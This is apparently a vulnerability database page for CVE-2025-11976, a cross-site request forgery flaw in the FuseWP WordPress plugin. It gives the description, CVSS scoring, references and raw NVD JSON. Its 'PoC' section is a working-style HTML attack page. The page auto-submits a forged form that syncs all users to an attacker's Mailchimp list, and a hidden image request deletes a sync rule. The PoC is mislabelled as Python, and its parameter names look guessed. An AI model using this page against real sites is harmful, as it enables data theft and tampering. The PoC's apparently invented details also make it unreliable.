CVE-2025-11976

Description

The FuseWP – WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.23.0. This is due to missing or incorrect nonce validation on the save_changes function. This makes it possible for unauthenticated attackers to add or edit sync rules via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FuseWP WordPress插件 <= 1.1.23.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-11976: FuseWP save_changes CSRF -->
<html>
<body>
  <h1>CVE-2025-11976 PoC - FuseWP CSRF</h1>
  <p>诱骗管理员点击此链接以添加恶意同步规则</p>
  
  <form action="http://target-wordpress-site/wp-admin/admin.php?page=fusewp-sync" method="POST" id="csrfForm">
    <!-- 绕过nonce验证的攻击载荷 -->
    <input type="hidden" name="fusewp_sync_rule[name]" value="Malicious Sync Rule">
    <input type="hidden" name="fusewp_sync_rule[status]" value="active">
    <input type="hidden" name="fusewp_sync_rule[sync_source][]" value="all_users">
    <input type="hidden" name="fusewp_sync_rule[mailchimp_list_id]" value="attacker-controlled-list-id">
    <input type="hidden" name="fusewp_sync_rule[mailchimp_api_key]" value="attacker-api-key">
    <input type="hidden" name="action" value="fusewp_save_sync_rule">
    <input type="hidden" name="_wpnonce" value=""> <!-- 留空或使用无效nonce -->
    <input type="submit" value="点击此处查看详情">
  </form>
  
  <script>
    // 自动提交表单实现CSRF攻击
    document.getElementById('csrfForm').submit();
  </script>
  
  <!-- 替代方案：使用img标签的GET请求CSRF -->
  <img src="http://target-wordpress-site/wp-admin/admin.php?page=fusewp-sync&action=fusewp_delete_sync_rule&id=1" width="0" height="0" border="0">
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11976
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11976
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11976/
[4] VulDB https://vuldb.com/cve/CVE-2025-11976
[5] https://plugins.trac.wordpress.org/changeset/3383939/fusewp/trunk/src/core/src/Admin/SettingsPage/SyncPage.php
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/e5957d6b-40e5-44c4-9a1b-e9c49e175162?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11976", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:40.737", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FuseWP – WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.23.0. This is due to missing or incorrect nonce validation on the save_changes function. This makes it possible for unauthenticated attackers to add or edit sync rules via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3383939/fusewp/trunk/src/core/src/Admin/SettingsPage/SyncPage.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e5957d6b-40e5-44c4-9a1b-e9c49e175162?source=cve", "source": "[email protected]"}]}}